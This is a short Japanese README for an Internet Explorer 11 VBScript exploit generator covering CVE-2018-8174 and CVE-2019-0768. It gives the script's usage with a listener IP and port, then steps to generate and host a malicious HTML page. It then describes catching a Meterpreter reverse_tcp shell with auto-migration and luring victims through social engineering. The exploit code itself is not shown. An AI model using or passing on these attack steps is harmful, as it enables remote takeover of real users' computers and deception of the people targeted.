IE11 VBScript エクスプロイト

CVE-2018-8174 & CVE-2019-0768 のエクスプロイトジェネレーター (IE11 での VBScript 実行による RCE)

前提条件

• Metasploit
• msfvenom

使用方法

python ie11_vbscript.py [Listener IP] [Listener Port]

手順

1. このスクリプトを使用して "exploit.html" を生成します
2. HTML ファイルをサーバーにホストします
3. Metasploit で windows/meterpreter/reverse_tcp を使用してハンドラーをセットアップします
4. ハンドラーで、AutoRunScript を "post/windows/manage/migrate" に設定します
5. ペイロード URL を使用してソーシャルエンジニアリング攻撃を実行します

クレジット

https://www.exploit-db.com/exploits/44741

CVEs

https://nvd.nist.gov/vuln/detail/CVE-2018-8174 https://nvd.nist.gov/vuln/detail/CVE-2019-0768